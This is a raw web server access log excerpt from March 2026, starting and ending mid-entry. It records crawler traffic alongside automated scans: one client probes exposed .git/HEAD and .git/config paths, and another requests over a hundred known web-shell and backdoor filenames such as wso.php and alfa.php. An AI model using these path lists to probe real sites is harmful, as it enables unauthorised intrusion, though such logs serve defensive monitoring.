(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 5.175.189.25 - - [20/Mar/2026:17:47:54 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 69.171.249.4 - - [20/Mar/2026:17:32:04 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 43.159.149.56 - - [20/Mar/2026:18:26:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.0.247.87 - - [20/Mar/2026:19:04:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 43.159.152.184 - - [20/Mar/2026:19:13:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.83.11.76 - - [20/Mar/2026:19:49:01 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 20.220.232.240 - - [20/Mar/2026:19:24:39 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 182.44.8.254 - - [20/Mar/2026:19:31:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.151.194.164 - - [20/Mar/2026:19:53:41 +0300] "GET / HTTP/1.1" 301 795 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 51.83.11.76 - - [20/Mar/2026:19:49:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 173.239.218.221 - - [20/Mar/2026:19:39:11 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.11.167.108 - - [20/Mar/2026:21:45:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 69.63.184.20 - - [20/Mar/2026:22:33:38 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 192.71.126.245 - - [20/Mar/2026:22:20:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 141.98.10.120 - - [20/Mar/2026:23:20:51 +0300] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.5" 141.98.10.120 - - [20/Mar/2026:23:19:49 +0300] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.5" 34.198.2.0 - - [20/Mar/2026:23:38:56 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 206.245.157.11 - - [21/Mar/2026:02:37:37 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.153.47.201 - - [21/Mar/2026:03:58:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.76.118.45 - - [21/Mar/2026:04:20:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.157.82.252 - - [21/Mar/2026:05:25:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 143.198.237.102 - - [21/Mar/2026:06:00:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 143.198.237.102 - - [21/Mar/2026:06:00:51 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://mail.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 43.228.157.68 - - [21/Mar/2026:06:39:49 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 43.228.157.68 - - [21/Mar/2026:06:39:53 +0300] "GET /html/.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 43.228.157.68 - - [21/Mar/2026:06:39:53 +0300] "GET /app/.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 43.228.157.68 - - [21/Mar/2026:06:39:55 +0300] "GET /wp-content/.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 43.228.157.68 - - [21/Mar/2026:06:39:51 +0300] "GET /web/.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 43.228.157.68 - - [21/Mar/2026:06:39:53 +0300] "GET /public/.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 43.228.157.68 - - [21/Mar/2026:06:39:54 +0300] "GET /src/.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 43.228.157.68 - - [21/Mar/2026:06:39:50 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 43.228.157.68 - - [21/Mar/2026:06:39:53 +0300] "GET /htdocs/.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 67.159.52.199 - - [21/Mar/2026:07:10:30 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.228.157.68 - - [21/Mar/2026:06:39:51 +0300] "GET /www/.git/HEAD HTTP/1.1" 403 787 "-" "Go-http-client/1.1" 182.44.9.147 - - [21/Mar/2026:09:19:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 117.55.203.46 - - [21/Mar/2026:08:50:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 66.249.66.77 - - [21/Mar/2026:10:22:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.159 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.203 - - [21/Mar/2026:10:35:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.203 - - [21/Mar/2026:10:35:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.159 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.77 - - [21/Mar/2026:10:21:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 170.106.113.235 - - [21/Mar/2026:11:52:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.57.76 - - [21/Mar/2026:10:50:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.137.126.77 - - [21/Mar/2026:12:43:10 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:43:10 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:10 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:43:10 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:11 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:11 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:11 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:11 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:11 +0300] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:12 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:43:12 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:12 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:12 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:43:12 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:13 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:13 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:13 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:13 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:43:13 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:14 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:14 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:14 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:14 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:43:15 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:15 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:15 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:15 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:15 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:16 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:16 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:16 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:43:16 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:43:16 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:17 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:17 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:17 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:17 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:17 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:18 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:18 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:18 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:18 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:19 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:19 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:19 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:43:19 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:19 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:20 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:20 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:20 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:20 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:20 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:21 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:43:21 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.77 - - [21/Mar/2026:12:43:21 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:21 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:22 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:43:22 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:43:22 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:22 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:22 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:43:23 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:23 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:23 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:23 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:43:23 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:24 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:24 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:24 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:24 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:24 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:43:25 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:43:25 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:25 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:25 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:43:25 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:43:26 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:26 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:26 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.77 - - [21/Mar/2026:12:43:26 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:43:26 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:43:27 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:43:27 +0300] "GET 